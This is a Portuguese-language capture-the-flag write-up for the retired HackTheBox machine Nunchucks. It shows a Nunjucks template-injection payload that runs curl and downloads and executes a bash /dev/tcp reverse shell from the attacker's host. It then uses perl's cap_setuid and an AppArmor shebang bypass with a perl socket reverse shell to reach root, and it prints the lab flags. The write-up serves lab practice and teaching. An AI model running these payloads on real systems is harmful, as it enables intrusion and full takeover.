HackTheBox – Writeup Nunchucks [Retired]

HackTheBox – Writeup Nunchucks [Retired]

Hackthebox

Neste writeup iremos explorar uma máquina linux de nível easy que ja se encontra entre as máquinas aposentadas. Esta máquina aborda as seguintes vulnerabilidades:

Server Side Template Injection em aplicações NodeJS
Linux capabilities
Bypass Apparmor

Recon e user flag

Iniciaremos realizando uma varredura em nosso alvo a procura de portas abertas através do nmap:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/nunchucks]
└─# nmap -sV –open -Pn 10.129.95.252
Starting Nmap 7.93 ( https://nmap.org ) at 2024-01-27 10:28 EST
Nmap scan report for 10.129.95.252
Host is up (0.25s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Ao acessar via IP a porta 80 somos redirecionados para a porta 443 que possui HTTPS.

Vamos adicionar o domínio que retorna no certificado ssl nunchucks.htb em nosso /etc/hosts.

E ao acessarmos novamente temos a seguinte página:

Está pagina possui somente duas opções via api, login e register. No entanto não foram encontradas vulnerabilidades ou meios de exploração devido a opção estar desabilitada.

Vamos utilizar o gobuster para buscar subdomínios:

┌──(rootkali)[/home/kali/hackthebox/machineslinux/nunchucks]
└─# wfuzz H Host: FUZZ.nunchucks.htb w /usr/share/wordlists/dirbuster/directorylistlowercase2.3medium.txt hh 30587 https://nunchucks.htb
********************************************************
* Wfuzz 3.1.0 The Web Fuzzer *
********************************************************
Target: https://nunchucks.htb/
Total requests: 207630
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000193: 200 101 L 259 W 4028 Ch store

Localizamos o subdomínio store.nunchucks.htb, vamos adicionar em nosso /etc/hosts também. O novo subdomínio possui o seguinte conteúdo:

Existe um campo para assinatura de um newsletter e podemos constatar que o mesmo é vulnerável a SSTI (Server Side Template Injection):

Interceptando as requisições com o Burp Suite como proxy conseguimos testar diversos payloads para SSTI buscando execução de comandos.

No entanto, precisamos primeiro entender o que esta processando os dados que enviamos, qual o tipo de template que a aplicação esta usando.

Analisando as requisições e respostas através do burp suite encontramos o header X-Powered-By: Express

O Express é um framework web para NodeJS. E a partir daqui conseguimos visualizar os templates engine que o mesmo utiliza:

Template Engines

Dentre os templates temos o seguinte que nos chama atenção pelo seu nome:

https://github.com/mozilla/nunjucks

Aqui nosso foco se torna criar um payload que nos permite executar comandos em nosso alvo.

Conseguimos com a seguinte requisição:

POST /api/submit HTTP/1.1
Host: store.nunchucks.htb
Cookie: _csrf=ccjKRgyMzBCAko0I10C2MKXv
Content-Length: 128
Sec-Ch-Ua: “Not_A Brand”;v=”8″, “Chromium”;v=”120″
Sec-Ch-Ua-Platform: “Linux”
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: https://store.nunchucks.htb
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://store.nunchucks.htb/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
Connection: close

{“email”:”{{range.constructor(“return global.process.mainModule.require(‘child_process’).execSync(‘curl 10.10.14.128:8081/test123’)”)()}}”}

Para testar o funcionamento iremos subir um servidor web utilizando python da seguinte forma e executar a requisição acima, tendo o seguinte retorno:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/nunchucks]
└─# python -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/)
10.129.95.252 – – [28/Jan/2024 07:54:40] code 404, message File not found
10.129.95.252 – – [28/Jan/2024 07:54:40] “GET /test123 HTTP/1.1” 404 –

Foi executado com sucesso um curl para nossa máquina, batendo no endpoint que não existe, retornando o status code 404.

Agora que temos um RCE podemos utilizar para realizar o download e executar nosso reverse shell, da mesma forma que o exemplo acima.

Iremos criar o arquivo chamado rev.sh com o seguinte conteúdo:

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.128/9001 0>&1

Para realizar o download basta alterarmos nosso payload da seguinte forma:

{“email”:“{{range.constructor(“return global.process.mainModule.require(‘child_process’).execSync(‘curl 10.10.14.128:8081/rev.sh -o /tmp/rev.sh’)“)()}}”}

E temos o retorno em nosso servidor web python que o alvo conseguiu encontrar o arquivo:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/nunchucks]
└─# python -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/)
10.129.95.252 – – [28/Jan/2024 07:54:40] code 404, message File not found
10.129.95.252 – – [28/Jan/2024 07:54:40] “GET /test123 HTTP/1.1” 404 –
10.129.95.252 – – [28/Jan/2024 07:57:52] “GET /rev.sh HTTP/1.1” 200 –

Com nosso reverse shell ja no alvo, através de uma aba do terminal iremos utilizar o pwncat para ouvir na porta 9001:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/nunchucks]
└─# pwncat-cs -lp 9001
[07:55:13] Welcome to pwncat 🐈!

E iremos alterar nosso payload para executar nosso reverse shell, da seguinte forma:

{“email”:“{{range.constructor(“return global.process.mainModule.require(‘child_process’).execSync(‘bash /tmp/rev.sh’)“)()}}”}

Com estes passos conseguimos o seguinte retorno em nosso pwncat, com nosso shel reverso:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/nunchucks]
└─# pwncat-cs -lp 9001
[07:55:13] Welcome to pwncat 🐈! __main__.py:164
[07:58:30] received connection from 10.129.95.252:60400 bind.py:84
[07:58:37] 10.129.95.252:60400: registered new host w/ db manager.py:957
(local) pwncat$
(remote) david@nunchucks:/var/www/store.nunchucks$ id
uid=1000(david) gid=1000(david) groups=1000(david)

Conseguindo assim a user flag:

(remote) david@nunchucks:/var/www/store.nunchucks$ ls -alh /home/
total 12K
drwxr-xr-x 3 root root 4.0K Aug 28 2021 .
drwxr-xr-x 19 root root 4.0K Oct 28 2021 ..
drwxr-xr-x 7 david david 4.0K Oct 22 2021 david
(remote) david@nunchucks:/var/www/store.nunchucks$ ls -alh /home/david/
total 52K
drwxr-xr-x 7 david david 4.0K Oct 22 2021 .
drwxr-xr-x 3 root root 4.0K Aug 28 2021 ..
lrwxrwxrwx 1 root root 9 Aug 28 2021 .bash_history -> /dev/null
-rw-r–r– 1 david david 220 Feb 25 2020 .bash_logout
-rw-r–r– 1 david david 3.7K Feb 25 2020 .bashrc
drwxr-xr-x 7 david david 4.0K Sep 25 2021 .cache
drwx—— 8 david david 4.0K Sep 25 2021 .config
drwx—— 3 david david 4.0K Sep 25 2021 .gnupg
drwx—— 3 david david 4.0K Sep 25 2021 .local
drwxrwxr-x 5 david david 4.0K Jan 27 15:27 .pm2
-rw-r–r– 1 david david 807 Feb 25 2020 .profile
-r–r—– 1 root david 33 Jan 27 15:28 user.txt
-rw——- 1 david david 5.0K Oct 22 2021 .viminfo
(remote) david@nunchucks:/var/www/store.nunchucks$ cat /home/david/user.txt
329cc9dd22d4499ac9302bb6a4ff8bab

Escalação de privilégios e root flag

Visando automatizar o processo de recon de nosso alvo, uma vez que temos um shell como usuário, vamos utilizar o linpeas.

O linpeas se trata de um script que realiza uma varredura no alvo levantando diversos pontos que possivelmente podem ser explorados para escalar privilégios, seja obter dados sensíveis, permissionamento, capabilities e diversos outros pontos.

Em nosso caso, dentre todas possibilidades que retornaram no output do script, temos o seguinte:

-rw-rw-r– 1 root david 7651273 Sep 26 2021 /opt/web_backups/backup_2021-09-26-1632618416.tar
-rw-rw-r– 1 root david 7651273 Sep 26 2021 /opt/web_backups/backup_2021-09-26-1632619104.tar
-rwxr-xr-x 1 root root 838 Sep 1 2021 /opt/backup.pl

É um script feito em perl que possui o seguinte conteúdo:

#!/usr/bin/perl
use strict;
use POSIX qw(strftime);
use DBI;
use POSIX qw(setuid);
POSIX::setuid(0);

my $tmpdir = /tmp“;
my $backup_main = /var/www‘;
my $now = strftime(“%Y-%m-%d-%s“, localtime);
my $tmpbdir = $tmpdir/backup_$now“;

sub printlog
{
print [“, strftime(“%D %T“, localtime), ] $_[0]n“;
}

sub archive
{
printlog Archiving…“;
system(“/usr/bin/tar -zcf $tmpbdir/backup_$now.tar $backup_main/* 2>/dev/null“);
printlog Backup complete in $tmpbdir/backup_$now.tar“;
}

if ($> != 0) {
die You must run this script as root.n“;
}

printlog Backup starts.“;
mkdir($tmpbdir);
&archive;
printlog Moving $tmpbdir/backup_$now to /opt/web_backups“;
system(“/usr/bin/mv $tmpbdir/backup_$now.tar /opt/web_backups/“);
printlog Removing temporary directory“;
rmdir($tmpbdir);
printlog Completed“;

O script realiza o backup de /var/www e salva o arquivo compactado em /opt/web_backups/.

Mas realizando o download do backup e visualizando o banco de dados (que também podemos acessar o atual) não foi encontrado nenhuma informação útil que possa ser utilizada para escalar privilégios. Existe o banco de dados da aplicação que é um sqlite, mas sem nada interessante também.

Outro ponto, que é o mais importante do output do linpeas é o seguinte:

Files with capabilities (limited to 50):
/usr/bin/perl = cap_setuid+ep

O binário do perl possui a capabilitie cap_setuid, que permite que seja setado o uid através do binário perl, permitindo usuários sem privilégios executarem (+ep).

setuid(2) – Linux manual page

Podemos testar a execução de alguns comandos utilizando o perl via linha de comando que ver o que conseguimos executar como root:

(remote) david@nunchucks:/tmp$ /usr/bin/perl e use POSIX qw(setuid); POSIX::setuid(0); exec “/bin/bash”;

O comando acima, assim como o script de backup, seta o uid para 0, que é do usuário root e executa o /bin/bash para criar um novo shell como root. Mas sem sucesso.

Ao alterar o comando para whoami temos sucesso:

(remote) david@nunchucks:/tmp$ id
uid=1000(david) gid=1000(david) groups=1000(david)
(remote) david@nunchucks:/tmp$ /usr/bin/perl e use POSIX qw(setuid); POSIX::setuid(0); exec “whoami”;
root

Mas outros comandos para tentar executar um shell não funciona, como por exemplo o seguinte:

(remote) david@nunchucks:/tmp$ /usr/bin/perl e use POSIX qw(setuid); POSIX::setuid(0); use Socket;$i=”10.10.14.128″;$p=9002;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/bash -i”);};

O comando acima tenta após setar o user id para 0 criar uma conexão reversa com a nossa máquina na porta 9002 (que estamos ouvindo através do pwncat em outra aba do terminal).

A conexão é enviada para nosso pwncat, mas ela é encerrada logo em seguida:

┌──(root㉿kali)-[~kali/hackthebox/machines-linux/nunchucks]
└─# pwncat-cs -lp 9002
[09:48:04] Welcome to pwncat 🐈! __main__.py:164
[13:45:32] received connection from 10.129.95.252:37184 bind.py:84
[13:45:32] connection failed: channel unexpectedly closed manager.py:957
(local) pwncat$

Aqui temos uma pergunta a ser respondida, por que alguns comandos funcionam e outros não.

Vemos que conseguimos executar o comando id também:

(remote) david@nunchucks:/tmp$ /usr/bin/perl e use POSIX qw(setuid); POSIX::setuid(0); exec “id”;
uid=0(root) gid=1000(david) groups=1000(david)

Não obtivemos sucesso tentando executar um script ou um simples cat.

Existem regras que podem limitar a execução em binários, através do SELinux ou Apparmor. Em nosso caso é o Appamor, por se tratar de um ubuntu.

Verificando o apparmor encontramos a seguinte regra:

(remote) david@nunchucks:/etc/apparmor.d$ ls alh
total 72K
drwxrxrx 7 root root 4.0K Oct 28 2021 .
drwxrxrx 125 root root 12K Oct 29 2021 ..
drwxrxrx 4 root root 4.0K Oct 28 2021 abstractions
drwxrxrx 2 root root 4.0K Oct 28 2021 disable
drwxrxrx 2 root root 4.0K Oct 28 2021 forcecomplain
drwxrxrx 2 root root 4.0K Oct 28 2021 local
rwrr 1 root root 1.3K May 19 2020 lsb_release
rwrr 1 root root 1.1K May 19 2020 nvidia_modprobe
rwrr 1 root root 3.2K Mar 11 2020 sbin.dhclient
drwxrxrx 5 root root 4.0K Oct 28 2021 tunables
rwrr 1 root root 3.2K Feb 25 2020 usr.bin.man
rwrr 1 root root 442 Sep 26 2021 usr.bin.perl
rwrr 1 root root 672 Feb 19 2020 usr.sbin.ippusbxd
rwrr 1 root root 2.0K Jul 22 2021 usr.sbin.mysqld
rwrr 1 root root 1.6K Feb 11 2020 usr.sbin.rsyslogd
rwrr 1 root root 1.4K Dec 7 2019 usr.sbin.tcpdump
(remote) david@nunchucks:/etc/apparmor.d$ cat usr.bin.perl
# Last Modified: Tue Aug 31 18:25:30 2021
#include <tunables/global>

/usr/bin/perl {
#include <abstractions/base>
#include <abstractions/nameservice>
#include <abstractions/perl>

capability setuid,

deny owner /etc/nsswitch.conf r,
deny /root/* rwx,
deny /etc/shadow rwx,

/usr/bin/id mrix,
/usr/bin/ls mrix,
/usr/bin/cat mrix,
/usr/bin/whoami mrix,
/opt/backup.pl mrix,
owner /home/ r,
owner /home/david/ r,

}

O apparmor é um MAC (Mandatory Access Control) que é implementado no kernel do linux visando controlar e limitar determinados recursos, como programas, binários e etc.

Continuando na saga para escalar privilégios para root podemos ponderar alguns pontos:

Somente determinados comandos conseguem ser executados devido ao apparmor
Não conseguimos executar nada no diretório /root, devido ao apparmor

No entanto, seguindo passos similares ao que ja tentamos foi possível executar o seguinte.

Primeiro criamos um script em perl setando o user id para 0 e executando nosso reverse shell, com o seguinte conteúdo:

#!/usr/bin/perl
use POSIX qw(setuid); POSIX::setuid(0);
use Socket;$i=10.10.14.128“;$p=9002;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp“));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S“);open(STDOUT,”>&S“);open(STDERR,”>&S“);exec(“sh -i“);};s

E ao executar nosso script:

(remote) david@nunchucks:/home/david$ ./exp.pl

Temos o seguinte retorno em nosso pwncat:

┌──(rootkali)[~kali/hackthebox/machineslinux/nunchucks]
└─# pwncat-cs -lp 9002
[14:47:11] Welcome to pwncat 🐈! __main__.py:164
[14:50:31] received connection from 10.129.2.248:37982 bind.py:84
[14:50:36] 0.0.0.0:9002: upgrading from /usr/bin/dash to /usr/bin/bash manager.py:957
[14:50:39] 10.129.2.248:37982: registered new host w/ db manager.py:957
(local) pwncat$
(remote) root@nunchucks:/home/david# id
uid=0(root) gid=1000(david) groups=1000(david)

Buscando entender o por que do script ter executado, ao contrário da mesma execução via linha de comando foi encontrado o seguinte bug:

Bug #1911431 “Unable to prevent execution of shebang lines” : Bugs : AppArmor

Basicamente o shebang (#!) faz com que o perl ignore o apparmor e execute sem restrições.

Com isso conseguimos nossa shell como usuário root:

(remote) root@nunchucks:/home/david# cat /root/root.txt
d24de14bd4c16c24fb1158033cafe1e9

Conseguindo assim a root flag e finalizando a máquina Nunchucks 🙂